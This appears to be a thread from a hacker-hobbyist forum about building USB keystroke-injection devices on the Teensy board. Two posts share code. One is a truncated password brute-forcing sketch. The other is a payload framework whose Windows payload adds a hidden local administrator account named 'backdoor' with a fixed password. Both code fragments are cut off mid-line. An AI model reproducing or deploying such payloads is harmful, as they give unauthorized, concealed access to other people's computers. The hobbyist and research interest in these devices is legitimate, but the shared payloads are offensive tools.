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  1. I put the adapter on my teensy: http://twitpic.com/2hdkc4 It works perfectly, out of the box.
  2. I've been working on some code to do some brute forcing, but I can't seem to get it quite right. You're welcome to take a look at it, but if you fix it and get it working properly, I'd really appreciate it coming back to me. // Simple Bruteforcer v0.1 // by HaDAk // Special thanks to Kevin B. and Carl V. // Variables int ascii = 32; // 32 - 126 int digit = 1; int blinkcount = 0; int MAX_PASSWORD = 32; void setup() { // Blink when the ducky is first plugged in, to verify power to it. while(blinkcount < 2){ blink(50); blinkcount++; } delay(1000); // wai
  3. You're reinventing the wheel here! My code does the same thing (and more), and does it a bit more elegantly. // Darkwing v0.1 // USB Ducky Framework for the Teensy 2.0 // by HaDAk // for the Hak.5 Community -- please contribute, distribute, and credit! // Variables int blinkcount = 0; // OS X payloads char* osx_ips = "ifconfig"; // *nix payloads char* nix_ips = "ifconfig"; // Windows Payloads // Add user "backdoor" with password "p@$$w0rd", // add to the local admin group, and hide from the login screen char* win_adduser = "net user backdoor p@$$w0rd /add &
  4. I'd like to preface this with: I am a complete noob with arduino/teensy, USB, hardware (pinouts/soldering/etc), and programming C/C++. Now, How do we get this: http://store.gravitech.us/micaad.html stuck on the teensy and have it offer it as mass storage, while still sending keystrokes? I'm probably opening a can of worms here, but I'm a total noob. :3
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